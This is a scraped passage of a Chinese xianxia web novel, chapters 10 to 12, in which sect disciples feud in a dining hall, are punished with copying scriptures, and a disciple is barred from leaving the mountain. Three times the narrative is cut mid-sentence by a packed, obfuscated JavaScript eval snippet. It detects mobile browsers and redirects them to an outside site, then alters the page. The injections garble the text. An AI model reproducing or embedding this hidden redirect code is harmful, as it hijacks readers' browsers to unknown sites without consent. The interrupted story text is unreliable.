废话，你们这抠搜的穷地方，除了鸡肉以外，哪还有别的肉可以吃？就连膳堂都只有一个。沐灵泽斜了洛纤凝一眼，将身子往一边扭了扭，表示并不想理她，并将脑袋压得低低的，恨不得钻进碗里去。 早知道她也这么早来吃饭，他就挑个偏僻的角落坐下了，这样兴许她就看不见他了。 这一连串可爱的表情和动作正好被洛纤凝尽收眼底，洛纤凝觉得这人真是越发好玩了，面朝林惜英喊道:“师姐！这儿有位置，我们坐这儿！” 什么？！林惜英要坐在这儿？！沐辰风睁大眼睛望着与自己越来越近的林惜英，露出了一副受宠若惊的表情，片刻后赶忙往一边挪了挪，生怕挤到林惜英。待林惜英坐定后，他浑然不觉地咽下口中的骨头，看着林惜英碗里清一色的豆腐，小心翼翼地开口道:“林师姐，原来你喜欢吃豆腐啊。” 林惜英未理会他，自顾自嚼起了饭菜。 沐辰风不死心道:“林师姐，你长得这么好看，为什么不爱说话呀？” 林惜英依旧不语，一旁的洛纤凝冷声冷气道:“长得好看和不爱说话有什么冲突么？” “……” 好像……确实……没有……冲突。 沐辰风想了想，又道:“林师姐，我听他们说，你从来没有笑过，是真的么？” “是真的。”洛纤凝转着手中的筷子替林惜英答道，神色颇为骄傲，“不过也不全是真的，因为我师姐只对我笑。” “……林师姐，我听他们说，你还会做饭，是真的么？” 洛纤凝:“是真的。” “哇塞，林师姐，你真厉害。林师姐，你只喜欢吃豆腐么？你怎么不吃其他的菜？你怎么不吃肉？” 洛纤凝吸溜着一根长长的青菜，剜他一眼，道:“我师姐吃不吃肉关你什么事？吃你的饭吧！” 沐辰风假装没听见洛纤凝的话，一双眼睛只顾着盯林惜英:“林师姐，我听他们说，你从来没有下过山，为什么啊？不是说你们这些亲传弟子十五岁就可以下山历练了么？” 洛纤凝三两下将青菜嚼烂并咽进喉咙，不耐烦道:“我也没下过山，你怎么不问我？” 沐辰风:“林师姐，山下可好玩了，有好多人，你长得这么好看，一定会有很多人喜欢你的。” 洛纤凝:“……” 好烦，她还是去和沐灵泽说话吧。她扭头看向沐灵泽，嘻嘻一笑，存心想气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286987|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一大跳:“沐师弟，你那八十遍门规抄完了没？抄完了帮我抄抄呗。” 沐灵泽“嗖嗖嗖”的甩着筷子，未搭理她。 洛纤凝:“……哼，脾气还挺大。算了，吃饭吃饭。” 三个人都低头吃着饭，唯有沐辰风，依旧眼巴巴地望着林惜英，不舍得眨眼:“林师姐，你怎么不理我？” “林师姐，你总是不说话，不觉得无聊么？” “林师姐，你……” “闭嘴！”林惜英突然抬头喝道，手中的筷子被她狠狠地戳进了饭菜中。整个膳堂都为之一静，紧接着，又是林惜英的声音:“聒噪！” 短暂的寂静过后，膳堂里爆发出一阵雷鸣般的笑声。 “噗哈哈哈！聒噪！好久没听见这两个字了，你们听，这两个字从林师姐嘴里迸出来，是不是格外好听？！” “哈哈哈！确实，笑死我了……” “哈哈哈……” 好尴尬。沐辰风讪讪地摸了摸鼻子，低下头不再言语。洛纤凝讥讽他道:“被骂了吧？活该！” 良久之后，笑声渐渐平息，突然，一个声音怪声怪气地从头顶上方传来:“哎呀，某些人一天到晚都冷着一张脸，也不知道在扮什么清高，人家新弟子不过是想和你说几句话而已，你就让人家闭嘴，还骂人家聒噪，真是没礼貌的东西！沐师弟，你也不要自取其辱了，人家要勾引的人，可是大师兄！据说大师兄为了她，连掌门之位都不想要了呢！” “……夏长殷！！”洛纤凝一拍桌子站了起来，三两步便迈上了二楼，走到发出怪声的人跟前，声音嘹亮道:“你是生怕新弟子不知道你是什么德行吧？那好，我今天就来跟他们讲一讲！你！夏长殷！从小就喜欢林师姐！日日做贼似的溜上翠竹峰偷窥林师姐，哪怕被我打得鼻青脸肿，你也从不死心！只可惜，从小到大，林师姐从来没有正眼看过你一眼，你由爱生恨，从此逢人就诋毁林师姐！我上次就应该打死你这个嘴贱还小肚鸡肠的小人，省得你出现在我师姐面前，污了我师姐的眼！” “我嘴贱？我小肚鸡肠？！”夏长殷一拳砸在桌子上，起身瞪着洛纤凝，“洛纤凝！有种你再说一遍！！” “说就说！我说你嘴贱！你小肚鸡肠！你不光嘴贱小肚鸡肠，你还嫉妒我师姐修为高，有一堆人爱！而你，没人爱就算了，修为还低！你那时间都用来在背后嚼人舌根了吧？怪不得连我这个从小不学无术的人都打不过！真是废物一个！！” “阿凝！”见夏长殷脸色铁青得可怕，林惜英慌忙走上前去，抓住洛纤凝的手腕，“与这种人计较什么？我们回去……” 话未说完，就听“啪”的一声，声音之大，响彻了整个膳堂。林惜英眼瞳一震，握着洛纤凝的手一紧。 所有人都被夏长殷这一举动给惊呆了，更有甚者，刚咽进喉咙里的饭菜都呛了出来，咳嗽不止。 洛纤凝捂着脸，不可置信地看着面前一脸得意的小人，怒道:“夏长殷，你竟然敢打我的脸？！” 她怎么也没有想到，这个夏长殷竟然会小肚鸡肠到这种地步。她长这么大，还从来没有挨过耳光，即便是她师父和琼芳长老，也从没打过她的脸！ 夏长殷下巴一抬，用鼻孔看着洛纤凝:“洛纤凝，这些年来我忍你够久了！要不是看在掌门和大师兄的面子上，我早就……” “早个屁！早八百年你也不是我的对手！！”洛纤凝怒发冲冠地冲夏长殷吼道，吼完扬起手就朝夏长殷甩了过去，哪知夏长殷早有防备，眼疾手快地钳住了她的手腕。洛纤凝暗骂一声，正要给他一脚，踹得他人仰马翻，满地找牙，一个巴掌就已毫不留情地甩在了夏长殷的脸颊上，比方才夏长殷甩给她的那个还要响亮许多。 “夏长殷！这是你自找的！！”林惜英收回手，抓住洛纤凝的手腕欲带她离开，就看见一道人影如闪电一般自她身边掠过，将夏长殷按在地上就开始暴揍，紧接着，沐辰风也跑了过来，喊道:“阿泽我来帮你！打死他！！” 10. 轻狂10 眼见师兄被揍，孟长生二话不说，撸起袖子就冲过去帮忙，将沐辰风从夏长殷身上拽了下来，指着他的鼻子骂道:“沐辰风！我师兄好心为你抱不平，你怎么能恩将仇报？！” 沐辰风一甩头发，道:“谁稀罕他为我抱不平？！他分明就是为了他自己！亏我平时一口一个师兄的叫他，他竟然敢诋毁林师姐，还敢动手打人？！我早就看他不顺眼了！看我今天不撕烂他的嘴！！” 膳堂内外顿时乱成了一团，打架的，拉架的，看热闹的，跑去告状的，还有怕殃及池鱼端着饭菜一溜烟跑了的…… 洛纤凝和林惜英呆愣片刻后，自然也上去拉架，怎奈何沐灵泽和沐辰风死死地揪着夏、孟二人的衣领就是不肯放，而夏、孟二人也死死地揪着沐氏两兄弟的衣领不肯放。洛纤凝索性拉着林惜英在一旁看起了热闹，边看边为沐氏兄弟俩呐喊助威，以至于四个人越打越起劲，在地上滚来滚去，从二楼滚到一楼，又从一楼滚到门外…… 最后，几个人鼻青脸肿地被扭送到了洛逍面前。 洛逍简直快被洛纤凝和夏长殷给气疯了，负着手在殿内走来走去，十分暴躁地道:“又是你们两个，又是你们两个！我跟你们两个说过多少遍了，不许打架斗殴，不许打架斗殴！你们为何总拿我的话当耳旁风？！你们就不能给我消停点么？！” 果然，又是那几句话，翻来覆去也没个新意。洛纤凝别过脸，漫不经心地听着，时不时翻个白眼，以表示她的不耐烦。 “洛纤凝！你就不能跟你林师姐和唐师姐学学，做一个安静点的……”刚说到此处，就看见林惜英也在这几个人当中，洛逍及时刹住话头，一脸的活见鬼:“林惜英？！你怎么也在这儿？！” 方才只顾着看洛纤凝和夏长殷了，竟然把林惜英给忽略了。这个林惜英，从小连话都不怎么跟别人说，为何也会卷入到这场斗殴中？ 林惜英正欲开口解释，就听见一旁的洛纤凝“咯咯”笑个不停，也不知道在笑什么。 “洛纤凝！”洛逍登时气不打一处来，“你这是什么态度？！你还好意思笑？！” 洛纤凝使劲压了压嘴角，心平气和道:“师父，您不要这么暴躁嘛，多大点事啊。”反正师姐他们已经帮她打回来了，不亏。 “什么？！你管这叫多大点事？！洛纤凝！你要是个男孩，我一定抽你两个耳光！我当初就不应该把你从山脚下捡回来，一把屎一把尿地把你拉扯大，还让你跟我姓，真是丢尽了我这张老脸！你简直比男孩子还闹腾！我当初就应该听琼芳长老的话，把你送去翠竹峰，让她好好管教你……沐灵泽！你又在笑什么？！”还未骂完，就听见沐灵泽也“哧哧”地笑了起来，洛逍更气了。 原来洛纤凝是掌门从山脚下捡回来的，还差点被琼芳长老抢去翠竹峰。真不敢想象那是一副怎样的画面。沐灵泽思来想去不知道该怎么回答洛逍的问题，索性将脑袋深深地低了下去，憋住笑声道:“我、我不知道。” “……” 洛逍很是头疼地捂着额头，半晌后道:“说吧，这次又是因为什么事？” “是夏长殷！是他先诋毁的林师姐！也是他先动手打的洛师姐！”沐辰风用手指着夏长殷，大声控诉道。 夏长殷反咬一口道:“我实话实说罢了，诋毁什么了？！分明是洛纤凝先诋毁的我！我实在没忍住才动的手！掌门您看，他们几个联合起来欺负我一个，我整张脸都被他们给打肿了！” “胡说八道！”洛纤凝反驳道，“分明是你先诋毁的林师姐！我才是实话实说！我诋毁你什么了？！你这个卑鄙无耻不要脸的小人！！” “你说什么？！你说我不要脸？！有本事你再说一遍！！” “说就说！我说你……” “够了！！”洛逍气得头发都快竖起来了，厉声打断两人，“你们两个当我这里是什么？！”又转向夏长殷，斥道:“夏长殷！你好歹也是他们几个的师兄，你看看你这个样子，哪里像个师兄？！你就不能跟你卫师兄学学么？！罚你抄门规一百遍！扫一个月台阶！还有孟长生，抄一百遍门规！至于其他人，全都滚去藏经阁给我抄写经书，三日后我亲自去检查，若抄得不够，继续抄，直到抄够为止！” “掌门！您不能因为洛纤凝是您徒弟，就偏袒她！我说了，我没有诋毁林师妹！他们几个肯定都是一伙的，串通一气故意陷害我！”夏长殷不服气道，心道抄经书抄得多与少，还不是由他洛逍说了算，他肯定会给这几个人放水！ 此人真是不要脸。林惜英实在听不下去了，朗声道:“掌门，我可以作证，的确是夏师兄先诋毁的我和大师兄。” 沐灵泽道:“没错！掌门，我和沐辰风都能作证，是夏长殷先诋毁的林师姐和大师兄，然后又动手打的洛师姐！我和沐辰风实在看不下去了，这才动手打的他！谁闲的没事干跑去陷害他？他也配？！”说到最后一句，故意斜了夏长殷一眼，语气甚是不屑。 夏长殷心知自己说不过洛纤凝和林惜英，便将矛头对准了沐灵泽和沐辰风，狠声道:“我承认，是我先动的手没错，可林师妹也已经打回来了，你们两个又凭什么打我？！” 两个刚入门的新弟子都可以骑到他这个四师兄的头上作威作福，这让他颜面何存？！ 沐辰风一听这话，顿时又来了精神:“我就打你怎么了？！长绝山是不是有规定，禁止背后嚼人舌根，禁止造谣中伤他人，禁止恶意诋毁他人？！可你呢？你日日都带着赤霞峰的男弟子在背后谈论女弟子的容貌和身材，我和阿泽替天行道，打你一顿都是轻的！！” “你胡说！我什么时候……” 柳惜朝此前一直安安静静地伫立在一旁，一语不发，直到听到此处，终于按捺不住，面朝夏长殷，神色肃穆道:“夏师弟，沐师弟方才所言，是否属实？还有，你口中的实话实说，是什么？说出来让我和掌门也听听。” 话说到一半突然被打断，夏长殷转头看向柳惜朝，见他温润的面庞难得泛起了怒火，蓦地心一虚，咽了口唾沫，竟有些不敢回答。 柳惜朝往右跨了一步，站在孟长生面前，喝道:“孟长生！你说！” 孟长生被柳惜朝吼得肩膀一哆嗦。他从来没有见过柳惜朝生气的样子，在他眼里，柳惜朝好像从来都不会生气，对任何人都是温言细语，包括他和夏师兄。 他想，一个是大师兄，一个从小和他一起长大、亲如手足的夏师兄，他是说呢？还是不说呢？他想去看一眼夏长殷，但柳惜朝的眼睛正死死地盯着他，让他不敢有丝毫动作。 良久，柳惜朝道:“你不说，那好。师父，请允许弟子将赤霞峰所有弟子都召集于此，挨个询问，总有一个肯说实话的！若实在问不出来，那就用问心石来测！看看他们到底谁在说谎，一并都罚了！顺便好好整治一下长绝山的歪风邪气！！” 问心石，乃是长绝山用来测试弟子有无说谎的一件法宝。“问心石在手，谎话不出口”，即便是琼芳长老那样的仙人，将问心石握在手中，也得乖乖说真话。只不过这件法宝已经许久未曾用过了，也不知被洛逍扔去了哪个犄角旮旯。 听到“问心石”这三个字，夏、孟二人彻底慌了，面面相觑，像是想起了一件很久远的事。夏长殷心道:“坏了，我怎么将问心石这玩意给忘了？再不认错，等掌门和大师兄将那落了灰的玩意寻出来，我只会被罚得更惨，没准还得牵连整个赤霞峰的弟子。罢了，君子报仇，十年不晚！你们给我等着！”而后着急忙慌道:“不、不必，掌门，弟子知错，弟子领罚便是！” 四个人出了无妄殿，朝藏经阁的方向走去，行至中途，柳惜朝追了过来，喊住了林惜英。 洛纤凝立刻很有眼力见地将沐灵泽和沐辰风拉得远远的，无意间瞥见沐灵泽脸上两块小小的青色伤痕，她抬起手，一把掀开沐辰风，面朝沐灵泽，露出了一副很是为难的表情:“方才……多谢你替我揍夏长殷。我知道我这个人魅力大，但也没想到已经大到了这种地步，唉！不过你以后不要这样了，我是不会喜欢你的，我们两个也是不会有结果的，懂？” 沐辰风方才正盯着林惜英和柳惜朝的身影咬牙切齿，猛然间被洛纤凝掀得一个趔趄，不禁怒从心来，眉头深深皱起，欲破口大骂，但又见她神色很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沐辰风:“阿、阿泽，你没事吧？不要紧吧？要不……我给你揉揉？话说这洛师姐变脸的速度也太快了。” “……洛纤凝！！！”沐灵泽深吸了好几口气，疾行三四步，欲跟上洛纤凝的步伐，报他的锁喉之仇，哪知就在此时，林惜英回过身冷冷地望向他，眼里仿佛能射出刀来。 他登时脚步一顿，摆了摆手道:“没、没什么，嘻嘻。”同时露出了他的一排排大白牙，一派的天真无邪，心想罢了，就卖林师姐一个面子吧，不和她计较了。 洛纤凝得意洋洋地冲沐灵泽吐了吐舌头，转头继续问林惜英:“师姐，你就告诉我嘛，有什么事是我不能知道的？” 林惜英经不住她的再三盘问，只好言简意赅地说道:“大师兄让我不要在意他们的胡言乱语，他会将此事告知扶光长老，让他好好管教自己的弟子。” “没了？”洛纤凝眨巴着眼睛问道，心想就这几句话，有什么不好同她说的？ 林惜英摇头:“没了。” 其实还有“对不起，因为我，无端给你添了许多困扰”之类的话，但林惜英觉得太过肉麻，没有说出口。 洛纤凝:“哦，那好吧。” 藏经阁内，四个人找了两个位置分别坐下，开始抄写经书。沐辰风随意乱翻着经书，不多时，一只修长白皙的手出现在他的视线中，手指间捏着一个小小的瓷瓶，看起来像是药膏之类的东西。 他猛地抬起头，望着林惜英如玉般的面庞，激动万分地问道:“林师姐，这是你……给我的？” 林惜英淡淡道:“是大师兄让我给你们三个的，阿凝已经用过了，剩下的是给你们两个的。” “……” 白激动一场。沐辰风伸手接过小瓷瓶，面无表情道:“多谢大师兄，多谢林师姐。” 林惜英走远后，沐辰风和沐灵泽互相涂抹起了药膏，沐灵泽忧愁道:“以夏长殷那睚眦必报的德行，日后必定会找你的麻烦，要不我们去求求掌门，让你到缥缈峰来？” 沐辰风拒绝道:“算了，看掌门那样，他肯定不会同意。能待几日算几日吧，实在待不下去我就不待了。” 反正他来这里也并非自愿，能待到如今，全都是为了林惜英。只要能多看林惜英一眼，不就是被夏长殷刁难么？他不怕！大不了就走人呗，他才不稀罕什么长绝山弟子的名头。外面的大千世界，可比一个小小的长绝山好玩多了！ 11. 轻狂11 “师姐，你抄这么快干嘛？抄完帮我也抄抄呗？”洛纤凝一边乱七八糟地作着画，一边头也不抬地问坐在对面的林惜英。 林惜英笔下未停，淡声道:“自己抄。” 洛纤凝:“……哼。” 沐辰风竖起耳朵远远地听着洛纤凝和林惜英的谈话，有样学样道:“阿泽，你抄这么快干嘛？抄完帮我也抄抄呗？” 沐灵泽毫不客气道:“滚！闪一边去！” “不抄就不抄，你吼什么？”沐辰风皱了皱鼻子，又开始侧耳倾听那对师姐妹的动静。只听洛纤凝道:“师姐，你看，这是我画的我们两个，还有大师兄，我们三个。练剑的这个是大师兄，亭下吹箫的是师姐你，旁边坐着的是我。师姐，我画得像不像？回头把二师兄和惜柔师姐还有惜缘惜真也加进去，挂在我房间里。” 这个洛纤凝，竟然会作画？沐辰风迫不及待地想看看她的作画水平如何，于是起身溜了过去，扫了一眼她那雌雄莫辨的画风，又看了一眼林惜英那很是无语的神情，最终道:“哇！你画得真难看，不过为什么没有我和阿泽？” “为什么要有你们两个？！”洛纤凝横了他一眼，用手挡住自己的画，“你才难看！闪一边去！” 沐辰风不走，蹲在书案旁，半是央求半是命令道:“把我也加进去呗，我要站林师姐旁边。” “不行！”洛纤凝果断拒绝他，抱着自己的画，生怕被他抢走，“师姐旁边只能站我和大师兄！你走开，走开走开！” “小气鬼！走就走！” 两个人争吵之际，忽然，大门被人从外一脚踹开，洛纤凝未有丝毫迟疑，“哗”的一声抽过左上方的一张纸，将画盖在底下，又“嗖”的一声拿起笔假装自己正在认真抄写经书，动作之快，令刚站起身的沐辰风目瞪口呆。 林惜英和沐灵泽皆摇了摇头，起身向洛逍问了声好，然后坐下继续抄写经书。 “那个谁！你干什么呢？！”洛逍从门外跨了进来，面朝正在发愣的沐辰风吼道，“还有你！洛纤凝！你当我眼瞎没看见你么？！装什么呢？！你胳膊底下压的什么？！给我拿出来！！” 洛纤凝正在犹豫该不该拿出来，洛逍已疾行至她身侧，一把将她的画从胳膊底下抽了出来，怒气冲冲道:“不好好抄写经书，跑到这里来画画？加抄一日！”又看向沐辰风，“还有那个谁，对，就你！也加抄一日！”说罢不等沐辰风张口辩解，一甩袖子，迈出门去。 望着洛逍远去的背影，沐辰风十分委屈地吸了吸鼻子，跑到沐灵泽身边鬼哭狼嚎了起来:“我做错什么了阿泽？掌门怎么这样？还有，什么叫那个谁？人家是有名字的好不好？呜呜呜……” “……不就是一张画么？至于生这么大气么？”洛纤凝趴在书案上嘀咕道，又抬眼看向正在奋笔疾书的林惜英，哭丧着脸道:“师姐，你抄这么多干嘛呀？帮我也抄点呗？嗯？师姐，我学猫叫给你听，喵。” 林惜英:“……” 她停下笔，揉了揉眉心，神色一如往常:“你学狗叫都没用。” 洛纤凝:“那我学狗叫给你听……” “住口！”林惜英一拍书案道，“拿来！” 洛纤凝一听这话，立刻从坐垫上蹦了起来，欢天喜地地跳到了林惜英的身旁，将自己抄了寥寥数字的纸整整齐齐地铺到林惜英面前，问道:“师姐，你会模仿我的笔迹，对吧？” 林惜英不语，只一个劲地提笔蘸墨。洛纤凝在林惜英身旁转来转去，一会儿为林惜英磨墨，一会儿为林惜英捶捶背捏捏肩，一会儿又道:“师姐，你渴不渴？我去给你倒杯水来？” 林惜英:“不渴。” 风从窗户外断断续续地吹了进来，吹得书案上的经书和纸张沙沙作响，沐辰风透过书架的缝隙，目不转睛地盯着那对师姐妹，出神了好长时间，才道:“林师姐竟然会模仿洛师姐的笔迹？可见平时没少帮洛师姐抄东西。这个洛师姐，真是太坏了！阿泽，你看人家，多相亲相爱，要不你也帮我也抄点儿呗？我学猫叫给你听……” “滚！！”沐灵泽受不了了，搁下笔，抬起一脚朝沐辰风踹了过去，“一个大男人，学什么猫叫？！” 沐辰风朝后一跳，道:“大男人怎么了？谁规定男人就不能学猫叫了？！我还学狗叫呢，汪！再说了，我这么年轻英俊，怎么能叫大男人呢？你应该叫我小男人……” “……没出息！滚一边去！！” 洛纤凝斜眼看着那边那兄弟俩的一举一动，倚在林惜英的背上哈哈大笑了起来，笑完又绕到林惜英身侧，趴在书案上看她写字，看了一会儿，目光又移到了林惜英的脸上，情不自禁道:“师姐，我错了，我以后再也不带你去人多的地方了，你太美了，容易出事。师姐，你说你怎么长得这么美啊？这要是下了山，被那群天天想着娶仙女的癞蛤蟆给掳走了，那可怎么办呀？我和大师兄会很伤心的，呜呜呜……师姐，我要是个男人，一定也会为你倾倒，为你痴，为你狂，为你疯，为你死……” 林惜英:“……” 就在这时，沐辰风突然一阵风似的又溜了过来，贱兮兮道:“其实两个女人也是可以在一起的！我曾经在话本里看到过一个故事，就是讲两个女人的！当然了，两个男人也是可以在一起的，我还看过两个男人……” “沐辰风！”洛纤凝愣怔片刻后，起身冲沐辰风大吼了起来，“你胡说八道什么呢？！你平时都看的什么不正经的书？！” 敢说他看的书不正经？沐辰风立马挺了挺脊背，斗志昂扬地反驳道:“这怎么能叫不正经呢？！谁规定的这世间只许有男女之情，不许有男男之情和女女之情？！” “……” 有道理唉。洛纤凝支着下巴思考了起来，须臾后道:“哦，我知道了，沐辰风，你该不会喜欢男人吧？” 沐辰风万万没料到她会联想到自己身上，连忙摆手道:“不不不，绝无此事！绝不可能！你休要胡说！我怎么可能会喜欢男人？！” 洛纤凝露出一丝坏坏的笑，扬声问道:“你不喜欢男人？那你平日里看什么男男之情？” “我……我我……”沐辰风急得脸都红了，拼命想向他们证明自己并非断袖，“我只是看看罢了！谁规定的不喜欢男人，就不能看男人之间的故事了？！我什么都看！什么男男女女妖魔鬼怪，我都喜欢看的！” 瞧把他吓的。洛纤凝眉毛一扬，故意逗他道:“我看你长得贼眉鼠眼的，没准你男女老少都喜欢呢。” “你……你你……”沐辰风被洛纤凝一句话气得脸红脖子粗，扯开嗓门为自己辩解道:“洛纤凝！你才贼眉鼠眼！你才男女老少都喜欢！小爷我分明玉树临风，风流倜傥好吧！还有，我只喜欢女人，年轻貌美的女人！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293410|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可不要出去乱说，败坏小爷我清誉！” “呵！”洛纤凝嗤笑，“你玉树临风风流倜傥？那猪都能飞上天了！还小爷，你是我小爷，我还是你姑奶奶呢！” “你你你……” “你什么你！就你这样的，也配喜欢年轻貌美的女人？你也不照照镜子看看自己长什么样！你配么？！” “你……我……谁不喜欢年轻貌美的女人？！我想想还不行么？！” “想也不行！想你也不配！” “……洛纤凝！我就不信，你不喜欢年轻英俊的男人！” “哎，你想多了，我压根就不喜欢男人。当然了，女人我也不喜欢。我将来可是要修成仙的，谁稀罕跟你们男人在一起。正所谓，抛却红尘三千事，修得太上忘情境，从此不老也不死！” “哟，就你这样，还想修成仙？还太上忘情？不老不死？切！” “你切什么？！有本事你再给我切一遍！” “切就切，谁怕谁？！我切！我切！我切切切！切死你！” “……沐辰风！你这个贱人！看我今天不掐死你！！” 两个人围着林惜英追来跑去，大喊大叫，吵得林惜英头都快裂了。沐灵泽则趴在桌上捶桌大笑，笑得眼泪都快出来了。 男男之情，男女老少，贱人……哈哈哈哈！笑死他了！ 林惜英闭上眼睛，感觉眼前一阵黑，一阵白，一阵黑，又一阵白……终于，她一掌拍在了书案上，喝道:“够了！都回自己座位去！再有吵闹者，我会告诉掌门，让他罚你们加抄十日！” 十日？沐辰风闻言，赶忙闭上嘴巴，冲洛纤凝“哼”了一声，乖乖地溜回了自己的座位。洛纤凝则扯过一张纸，坐在林惜英身旁画起了画。藏经阁内总算安静了下来。 三日后，林惜英与沐灵泽捧着抄写了厚厚一沓的纸到洛逍面前检查，检查完毕后，一个高高兴兴地迈入了新弟子的行列中继续修习，一个则又回到了藏经阁中。 由于怕洛纤凝又与沐辰风打起来，林惜英不得不待在藏经阁盯着此二人。 洛纤凝可怜巴巴地望着正在翻看经书的林惜英，唤了声师姐，还未来得及说出第三个字，林惜英便冷漠地拒绝了她:“自己抄，我已经帮你抄了三日了，这次你学猪叫都没用。” 洛纤凝:“……自己抄就自己抄。” 角落里，沐辰风趴在书案上偷偷嘲笑洛纤凝，洛纤凝耳尖听到了，一拍桌子，瞪着他道:“沐辰风！你偷笑什么呢？！” 沐辰风晃着脑袋道:“我又没笑你，你管得着么？洛纤凝，等我抄完了，我一定要把你找代抄这件事告诉掌门，让他罚你加抄十日！” “你说什么？！”洛纤凝听了这话，大怒，扔了笔就要冲过去揍沐辰风，林惜英起身将她拉住，制止道:“阿凝！不可再生事！” 洛纤凝止住脚步，指着沐辰风的鼻子道:“沐辰风！我警告你，你胆敢出去乱说，我一定拿剑把你的头发和眉毛全都削光！” “咦！”沐辰风浑身抖了抖，道:“好残忍，我好怕哦。”又笑嘻嘻地看向林惜英:“林师姐，你放心，我开个玩笑而已，我怎么可能会向掌门告你的状呢。” 然而林惜英并不领他的情，连一个谢字都没留给他，拉着洛纤凝坐下，继续督促她抄写经书。 沐辰风:“好冷，好冷。” 12. 轻狂12 林惜英回到翠竹峰的第一件事，就是去无欢殿见师父。那日打完夏长殷，夜里抄完经书回到翠竹峰时，迎面就看见了师父。 朦胧的月光下，师父的神色晦暗不明，让她有些看不清楚。 “听说你动手打夏长殷了？”师父如是问道。 她没有辩驳，只回了一个“是”字，而后低下头，等待着师父的责备，可让她感到意外的是，师父竟用一副很是温和的语气对她说:“不早了，回去歇息吧。” 她没料到师父会是这副反应，毕竟这十年来，她从未触犯过任何一条门规，无论何时，无论何地，她都如师父一样，端方持重，谨言慎行，从不做任何有违体统之事，师父是什么样，她便是什么样，绝不会让师父丢半分脸面。先前她还觉得，师父一定会因为此事而对她感到失望，看来是她想多了。 她迈进无欢殿，唤了一声:“师父。” 唤完许久，空旷的殿内无一丝动静。林惜英转过身，正要去后山看看，忽然，内间的门“吱呀”一声被推开，琼芳步态从容地从内走了出来，问道:“抄完了？” 林惜英回过身来，“嗯”了一声，继而垂下眼眸，静默不言。此时，琼芳已行至她面前，见她神情有异，便问:“怎么一副心事重重的样子？说吧，什么事？” 林惜英迟疑着，半晌后终于抬起眼眸，看向琼芳:“师父，阿凝要下山了，新弟子有惜柔教，我可不可以……和阿凝一起下山？” 她想起昨日洛纤凝问她的话:“师姐，等明天抄完了，我先狠狠地睡上一天觉，然后去山下看看，我们一起吧，反正新弟子已经不归我们俩管了。师姐，你怎么不说话？该不会琼芳长老又不许你下山吧？” 她摇摇头，道:“我不知道，明日我去问问师父。” 见琼芳迟迟不语，林惜英便知，此事怕是又不成了。果然，下一刻，便听琼芳冷声道:“林惜英，别以为我不知道你心里在想什么，你想找回你失去的记忆，想找到你的生身父母，想离开长绝山，对么？” 林惜英心一紧，连忙道:“师父，您想多了，弟子真的只是想下山去历练一番，别无他想。” 什么记忆，什么父母，她才不在乎，她只想永远待在长绝山，待在师父和阿凝的身边。可她又实在不明白，师父为何会有如此想法，难道她的身世有什么特别之处么？ 不等她开口询问，琼芳便及时打断了她:“过段时间吧，过段时间为师亲自带你下山历练。” “可是师父……” “休要多言！”琼芳突然提高声音，一挥衣袖自内间而去，扔下一句:“为师闭关在即，这期间，你当好好修习术法，不得擅自下山！出去吧。” “师……父。” 因为此事，林惜英落寞了整整一日，连饭都没怎么吃。次日午饭过后，洛纤凝伸着懒腰打着哈欠溜上翠竹峰找林惜英时，看到的便是一个丧眉耷眼、正在凉亭下独自吹着箫的美人儿。 洛纤凝怔了一下，随即加快脚步，跳到凉亭下，双手负在身后，摇头晃脑地吟道:“美人吹洞箫，久站颦蛾眉，但见泪痕湿，不知心恨谁。” 林惜英将玉箫插回腰间，白了她一眼，道:“又开始不正经。” 洛纤凝嘻嘻一笑，抬脚迈进了凉亭，凑到林惜英的面前，挤眉弄眼道:“美人儿何故如此忧愁？说与本少侠听听。” 林惜英别过脸去，将师父禁止她下山一事说与了洛纤凝。洛纤凝听罢后，一屁股坐在了地上，双手撑着下巴，不满地嘟囔道:“这琼芳长老可真是奇怪，总是不许你下山，害我苦苦地等了你一年又一年。惜柔师姐与你同岁，这两年来不知道跟着琼芳长老还有大师兄二师兄他们除过多少妖，尝过多少人间美味，我就不信师姐你不羡慕嫉妒恨！” 师父说过，他们这些从小无父无母，被师父亲自领进门的弟子，到了十五岁，便可随师父或师兄师姐一起下山历练。去岁洛纤凝十五岁，本来应当随柳惜朝或陆惜名一起下山历练，怎奈何琼芳长老就是不肯放林惜英下山。洛纤凝不忍丢下林惜英一人孤苦伶仃，于是决定等等她。 林惜英今岁十七，两年前就该下山历练了，但琼芳长老总是以各种理由来搪塞她，禁止她下山。 第一年以“头疾”为由搪塞。 林惜英患有头疾，每隔数月总要发作一次，据说是幼时从山崖上跌下来的缘故，还因此遗忘了七岁之前的记忆。但林惜英的头疾并不严重，发作起来也就一时半会儿，所以这个理由十分牵强，甚是奇怪。 莫非是觉得林惜英长得太美了，怕她下山后会被坏人掳走？可是也不对啊，林惜英武功那么高，谁能掳走她？打不过还跑不过么？ 第二年以“为师夜观天象，算得你此次下山必遭劫难”为由搪塞。 这就更牵强了！长绝山这么多弟子，偏偏林惜英下山会遭遇劫难？所谓的劫难，不就是行侠仗义时遇到的妖怪么？如此说来，哪个弟子下山不遭遇劫难？ 真是莫名其妙的理由！ 